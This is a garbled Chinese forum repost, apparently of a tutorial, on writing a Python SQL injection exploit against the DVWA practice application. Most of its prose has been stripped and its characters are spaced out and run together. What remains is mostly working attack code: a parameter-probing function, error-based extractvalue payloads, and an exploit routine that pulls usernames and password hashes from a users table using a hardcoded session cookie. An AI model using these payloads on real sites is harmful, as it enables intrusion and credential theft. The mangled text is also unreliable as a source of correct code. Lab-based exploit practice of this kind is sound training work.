[26710] 2021-04-05_SQLInjection注入exp编写

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-04-05_SQLInjection注入exp编写 S Q L   I n j e c t i o n   e x p   m o o n s e c   m o o n s e c   2 0 2 1 - 0 4 - 0 5 p y t h o n 3 E X P S Q L   I n j e c t i o n   e x p D V W A E X P E X P p y t h o n 3 e x p D V W A   h t t p s : / / g i t h u b . c o m / d i g i n i n j a / D V W A S Q L d v w a l o w h t t p : / / w w w . d v w a . c o m / v u l n e r a b i l i t i e s / s q l i / ? i d = % 2 7 & S u b m i t = S u b m i t # h t t p : / / w w w . d v w a . c o m / v u l n e r a b i l i t i e s / s q l i / ? S u b m i t = S u b m i t % 2 3 & i d = 1 % 2 7 a n d ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t % 2 0 u s e r ( ) ) , 0 x 7 e ) ) ) % 2 3 h t t p : / / w w w . d v w a . c o m / v u l n e r a b i l i t i e s / s q l i / ? i d = 1 & S u b m i t = S u b m i t # # # e x p i d = 1 & S u b m i t = S u b m i t # k e y S Q L S Q L   s y n t a x c o o k i e s = { " P H P S E S S I D " : ' 9 3 c 3 3 m k 0 a d 8 8 p 2 a f 7 h j d 1 r d k n t ' , ' s e c u r i t y ' : ' l o w ' } P H P S E S S I D s e c u r i t y d e f c h e c k s q l ( ) :       p a r m s   =   u r l [ u r l . i n d e x ( " ? " ) +   1 : ] . s p l i t ( " & " )       f o r p a r m i n p a r m s :               s q l u r l   =   u r l . r e p l a c e ( p a r m ,   p a r m   +   " ' m o o n " )               r e q   =   r e q u e s t s . g e t ( s q l u r l ,   c o o k i e s = c o o k i e s )               i f ' S Q L s y n t a x '   i n r e q . t e x t :                       p r i n t ( " [ + ] S Q L   i n j e c t i o n   p o i n t   f o u n d   i n   p a r m e t e r % s [ + ] "   % p a r m )                         r e t u r n T r u e # c o d i n g : u t f - 8 i m p o r t   r e q u e s t s i m p o r t r e c o o k i e s = { " P H P S E S S I D " : ' 9 3 c 3 3 m k 0 a d 8 8 p 2 a f 7 h j d 1 r d k n t ' , ' s e c u r i t y ' : ' l o w ' } u r l = " h t t p : / / w w w . d v w a . c o m / v u l n e r a b i l i t i e s / s q l i / ? S u b m i t = S u b m i t % 2 3 & i d = 1 " p a r m s =   u r l [ u r l . i n d e x ( " ? " ) + 1 : ] . s p l i t ( " & " ) f o r p a r m   i n   p a r m s :       s q l u r l =   u r l . r e p l a c e ( p a r m , p a r m + " ' m o o n " )       r e q   =   r e q u e s t s . g e t ( s q l u r l , c o o k i e s = c o o k i e s )
S Q L         p a y l o a d   =   u r l   +   " ' a n d ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t u s e r ( ) ) , 0 x 7 e ) ) ) % 2 3 "         i f ' S Q L   s y n t a x '   i n r e q . t e x t :               p r i n t ( " [ + ] S Q L   i n j e c t i o n   p o i n t   f o u n d   i n   p a r m e t e r % s [ + ] "   % p a r m )               r e q   =   r e q u e s t s . g e t ( u r l = p a y l o a d , c o o k i e s = c o o k i e s )               d b _ n a m e = r e . s e a r c h ( " ~ ( . * ) ~ " , r e q . t e x t ) . g r o u p ( 1 )               p r i n t ( " [ + ]   % s   [ + ] " % d b _ n a m e )               p a y l o a d   =   u r l   + " ' a n d ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t l e n g t h ( c o n c a t ( u s e r , p a s s w o r d ) )   f r o m   u s e r s   l i m i t   1 ) , 0 x 7 e ) ) ) % 2 3 "               r e q =   r e q u e s t s . g e t ( u r l = p a y l o a d , c o o k i e s = c o o k i e s )               l e n s t r =   r e . s e a r c h ( " ~ ( d + ) ~ " , r e q . t e x t ) . g r o u p ( 1 )               p a y l o a d   =   u r l   +   " ' a n d ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t s u b s t r i n g ( c o n c a t ( u s e r , p a s s w o r d ) , 1 , 3 2 )   f r o m   u s e r s   l i m i t 1 ) , 0 x 7 e ) ) ) % 2 3 "                 r e q =   r e q u e s t s . g e t ( u r l = p a y l o a d , c o o k i e s = c o o k i e s )               p a s s w o r d 1   =   r e . s e a r c h ( " ~ ( . * ) ' " , r e q . t e x t ) . g r o u p ( 1 )               p a y l o a d   =   u r l   +   " ' a n d ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t s u b s t r i n g ( c o n c a t ( u s e r , p a s s w o r d ) , 3 2 , { } )   f r o m   u s e r s   l i m i t 1 ) , 0 x 7 e ) ) ) % 2 3 " . f o r m a t ( l e n s t r )               r e q   =   r e q u e s t s . g e t ( u r l = p a y l o a d , c o o k i e s = c o o k i e s )               p a s s w o r d 2 =   r e . s e a r c h ( " ~ ( . * ) ~ " , r e q . t e x t ) . g r o u p ( 1 )               p r i n t ( p a s s w o r d 1 + p a s s w o r d 2 ) # c o d i n g : u t f - 8 i m p o r t   r e q u e s t s i m p o r t r e c o o k i e s = { " P H P S E S S I D " : ' 9 3 c 3 3 m k 0 a d 8 8 p 2 a f 7 h j d 1 r d k n t ' , ' s e c u r i t y ' : ' l o w ' } u r l = " h t t p : / / w w w . d v w a . c o m / v u l n e r a b i l i t i e s / s q l i / ? S u b m i t = S u b m i t % 2 3 & i d = 1 " d e f   c h e c k s q l ( ) :       p a r m s   =   u r l [ u r l . i n d e x ( " ? " ) +   1 : ] . s p l i t ( " & " )       f o r p a r m i n p a r m s :               s q l u r l   =   u r l . r e p l a c e ( p a r m ,   p a r m   +   " ' m o o n " )               r e q   =   r e q u e s t s . g e t ( s q l u r l ,   c o o k i e s = c o o k i e s )               i f ' S Q L   s y n t a x '   i n r e q . t e x t :                       p r i n t ( " [ + ] S Q L   i n j e c t i o n   p o i n t   f o u n d   i n   p a r m e t e r % s [ + ] "   % p a r m )                       r e t u r n   T r u e d e f   g e t S t r ( r e s , s q l ) :       p a y l o a d = u r l + " ' a n d ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t { }   f r o m   u s e r s   l i m i t   1 ) , 0 x 7 e ) ) ) % 2 3 " . f o r m a t ( s q l )       r e q =   r e q u e s t s . g e t ( u r l = p a y l o a d , c o o k i e s = c o o k i e s )       h t m l =   r e . s e a r c h ( r e s , r e q . t e x t ) . g r o u p ( 1 )       r e t u r n   h t m l d e f   e x p l o i t ( ) :       s t r l e n = g e t S t r ( " ~ ( d + ) ~ " , " l e n g t h ( c o n c a t ( u s e r , p a s s w o r d ) ) " ) #       p w d 1   =   g e t S t r ( " ~ ( . * ) ' " , " s u b s t r i n g ( c o n c a t ( u s e r , p a s s w o r d ) , 1 , 3 2 ) " ) # 1       p w d 2   =   g e t S t r ( " ~ ( . * ) ~ " , " s u b s t r i n g ( c o n c a t ( u s e r , p a s s w o r d ) , 3 2 , % s ) " %   s t r l e n )       r e t u r n   p w d 1 + p w d 2 i f c h e c k s q l ( ) = = T r u e :       p r i n t ( " [ + ]   % s   [ + ] "   %   e x p l o i t ( ) )
 
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则